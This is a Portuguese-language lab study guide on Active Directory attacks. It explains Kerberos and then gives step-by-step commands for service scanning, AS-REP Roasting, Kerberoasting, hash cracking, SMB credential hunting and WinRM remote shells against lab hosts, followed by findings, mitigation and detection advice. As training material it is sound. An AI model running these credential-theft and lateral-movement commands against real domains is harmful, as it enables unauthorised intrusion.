Active Directory - Conceitos e Comandos do Lab 1
Objetivo Técnico
Explicar os blocos fundamentais usados em um laboratório inicial de Active Directory: Domain Controller, Kerberos, AS-REQ, AS-REP, TGT, TGS, SPN, AS-REP Roasting, Kerberoasting, SMB, WinRM e validação de credenciais. A leitura deve ajudar a entender o motivo de cada comando antes de executar a técnica.
PTES aplicado ao estudo do Lab 1
Pre-Engagement -> escopo: dc01, client01, dominio lab.local
Intelligence Gathering -> portas, dominio, usuarios, SPNs e shares
Threat Modeling -> quais identidades e servicos podem abrir caminho
Vulnerability Analysis -> AS-REP, Kerberoasting, credencial em SMB, admin local
Exploitation -> crack offline, autenticacao, WinRM
Post-Exploitation -> prova de privilegio local e evidencias finais
Reporting -> finding, impacto, deteccao, mitigacao e retesteMapa Mental de Active Directory
Em AD, quase tudo passa por identidade. O domínio centraliza usuários, computadores, grupos, políticas e autenticação. O Domain Controller é o ponto que responde Kerberos, LDAP, DNS de domínio e várias consultas críticas.
| Termo | O que é | Uso no lab |
|---|---|---|
| DC | Domain Controller, servidor que autentica e mantém o diretório. | Alvo de enumeração Kerberos, LDAP e SMB. |
| LDAP | Protocolo usado para consultar objetos do diretório. | Ajuda a listar usuários, grupos, computadores e atributos relevantes. |
| Kerberos | Protocolo de autenticação baseado em tickets. | Base de AS-REP Roasting e Kerberoasting. |
| SMB | Protocolo Windows para arquivos, shares e administração remota. | Enumeração de shares e busca de credenciais expostas. |
| WinRM | Windows Remote Management, usado para sessão remota administrativa. | Valida movimento lateral quando uma conta tem permissão no host. |
Kerberos em 5 Passos
Kerberos evita enviar a senha para cada serviço. O cliente prova identidade ao DC, recebe tickets e usa esses tickets para acessar serviços. Entender essa sequência explica por que AS-REP Roasting e Kerberoasting são ataques offline contra material criptográfico.
1) AS-REQ
Cliente -> DC/KDC
Pedido inicial de autenticacao.
2) AS-REP
DC/KDC -> Cliente
Resposta do KDC. Se pre-auth estiver desabilitado, pode conter material crackavel.
3) TGT
Ticket Granting Ticket.
Prova que o usuario autenticou e pode pedir tickets de servico.
4) TGS-REQ / TGS
Cliente pede um ticket para acessar um servico especifico.
Exemplo de servico: MSSQLSvc/sql.lab.local.
5) Acesso ao servico
Cliente apresenta o TGS ao servico.
O servico valida o ticket sem receber a senha do usuario.Glossário Kerberos Usado no Lab
| Termo | Explicação prática | Como aparece no comando |
|---|---|---|
| AS-REQ | Pedido inicial de autenticação enviado ao KDC. | GetNPUsers força a tentativa de obter AS-REP para usuários. |
| AS-REP | Resposta do KDC. Em conta sem pre-auth, vira material para crack offline. | Hash salvo em asrep.hash. |
| TGT | Ticket inicial usado para pedir tickets de serviço. | klist mostra tickets no Windows. |
| TGS | Ticket para um serviço específico. | GetUserSPNs -request solicita TGS para SPNs. |
| SPN | Service Principal Name, vínculo entre serviço e conta. | MSSQLSvc/sql.lab.local, HTTP/app, CIFS/server. |
| Pre-auth | Proteção que exige prova da senha antes de devolver material útil. | Quando está desabilitada, habilita AS-REP Roasting. |
Se encontrar a grafia AS-RES em anotações, trate como confusão comum com AS-REP. O termo usado na documentação técnica de Kerberos para a resposta é AS-REP.
Ferramentas do Fluxo
| Ferramenta | Uso | Evidência esperada |
|---|---|---|
| Nmap | Descobrir portas e serviços em DC e workstation. | Kerberos 88, LDAP 389, SMB 445, WinRM 5985. |
| Impacket | Executar GetNPUsers, GetUserSPNs e secretsdump. | Hash AS-REP, hash TGS, prova controlada de credencial. |
| Hashcat | Crack offline de material Kerberos. | Senha validada e mascarada no report. |
| CrackMapExec / NetExec | Validar credencial, enumerar SMB e testar WinRM. | Autenticação OK, shares acessíveis, WinRM disponível. |
| smbclient | Acessar share e baixar arquivo de prova. | Arquivo sensível sanitizado. |
| Evil-WinRM | Abrir shell remoto quando a conta tem permissão. | Host, usuário, grupos e privilégios. |
Comandos do Lab 1 com Explicação
Use os comandos como roteiro de estudo. Em um report, salve a saída relevante, mas publique senhas, hashes e flags somente de forma mascarada.
1. Descobrir serviços AD
nmap -Pn -sV -sC -oA evidence/level-01/enum/nmap-dc01 192.168.56.10
nmap -Pn -sV -sC -oA evidence/level-01/enum/nmap-client01 192.168.56.11O objetivo é provar quais serviços existem antes de escolher a técnica. Kerberos e LDAP indicam DC; SMB permite share enum; WinRM indica possível administração remota.
2. Preparar usuários para teste Kerberos
printf "%s\n" user1 svc_sql helpdesk administrator > users.txtA lista de usuários é entrada para testar quais contas podem responder com material útil. Em ambiente real, essa lista deve vir de enumeração autorizada e ter controle para evitar ruído.
3. AS-REP Roasting
impacket-GetNPUsers lab.local/ -usersfile users.txt -no-pass -dc-ip 192.168.56.10 \
-outputfile evidence/level-01/hashes/asrep.hash
hashcat -m 18200 evidence/level-01/hashes/asrep.hash /usr/share/wordlists/rockyou.txt
hashcat -m 18200 evidence/level-01/hashes/asrep.hash --show
crackmapexec smb 192.168.56.10 -u user1 -p '<PASSWORD_REDACTED>'Se a conta não exige pre-auth, o DC pode devolver AS-REP crackável offline. O impacto só fica demonstrado quando a senha recuperada é validada contra um serviço em escopo.
4. Kerberoasting com SPN
impacket-GetUserSPNs lab.local/user1:'<PASSWORD_REDACTED>' -dc-ip 192.168.56.10 -request \
-outputfile evidence/level-01/hashes/tgs.hash
hashcat -m 13100 evidence/level-01/hashes/tgs.hash /usr/share/wordlists/rockyou.txt
hashcat -m 13100 evidence/level-01/hashes/tgs.hash --show
crackmapexec smb 192.168.56.10 -u svc_sql -p '<PASSWORD_REDACTED>'Kerberoasting não depende de pre-auth desabilitado. Um usuário autenticado pode solicitar TGS para um SPN. Se a conta de serviço usa senha fraca, o ticket pode ser crackado offline.
5. SMB Share e credenciais expostas
crackmapexec smb 192.168.56.10 -u user1 -p '<PASSWORD_REDACTED>' --shares
smbclient //192.168.56.10/IT -U 'user1%<PASSWORD_REDACTED>'
ls
get notes.txt evidence/level-01/smb/notes.txt
exit
sed 's/password=.*/password=<PASSWORD_REDACTED>/i' evidence/level-01/smb/notes.txt \
> evidence/level-01/smb/notes-redacted.txtA vulnerabilidade não é simplesmente existir um share. O problema é permissão excessiva combinada com segredo em arquivo. A evidência deve mostrar acesso, conteúdo sensível mascarado e impacto da credencial recuperada.
6. WinRM e local admin
crackmapexec winrm 192.168.56.11 -u helpdesk -p '<PASSWORD_REDACTED>'
evil-winrm -i 192.168.56.11 -u helpdesk -p '<PASSWORD_REDACTED>'
hostname
whoami
whoami /groups
whoami /privWinRM prova movimento lateral quando a conta tem permissão remota. O ponto crítico no report é diferenciar autenticação válida de privilégio administrativo local.
Como Transformar em Finding
| Técnica | Finding | MITRE ATT&CK | Reteste |
|---|---|---|---|
| AS-REP Roasting | Conta sem Kerberos pre-authentication e senha crackável. | T1558.004 | GetNPUsers não retorna hash para a conta. |
| Kerberoasting | Conta de serviço com SPN e senha fraca ou reutilizável. | T1558.003 | Senha longa/gMSA torna crack offline inviável no teste. |
| Credential Hunting em SMB | Credencial armazenada em arquivo acessível por usuário de domínio. | T1552.001 | Arquivo removido, senha rotacionada e acesso ao share revisado. |
| WinRM com local admin | Conta operacional com privilégio administrativo local excessivo. | T1021.006 / T1078 | Conta não consegue sessão remota/admin sem justificativa. |
Mitigação e Detecção
- Habilitar Kerberos pre-authentication para contas humanas e revisar exceções.
- Usar gMSA ou senhas longas e aleatórias para contas de serviço com SPN.
- Remover credenciais de shares, scripts e arquivos de operação; rotacionar qualquer segredo exposto.
- Reduzir administradores locais e aplicar Windows LAPS quando houver necessidade operacional.
- Alertar AS-REQ sem pre-auth, TGS-REQ anômalo, leitura de arquivos sensíveis em SMB e logon WinRM fora do baseline.
- Guardar logs em formato correlacionável, com host, conta, origem, destino, horário e resultado.
Referências de Base
- PTES Technical Guidelines: fases de teste, validação, exploração, pós-exploração e reporting.
- MITRE ATT&CK T1558.004: AS-REP Roasting.
- MITRE ATT&CK T1558.003: Kerberoasting.
- MITRE ATT&CK T1021.006: Windows Remote Management.
- OWASP Authentication Cheat Sheet: força de senha, MFA, autenticação e monitoramento.
- OWASP Authorization Cheat Sheet: mínimo privilégio, autorização e logging de acesso.
- OWASP Logging Cheat Sheet: eventos de segurança, consistência e correlação.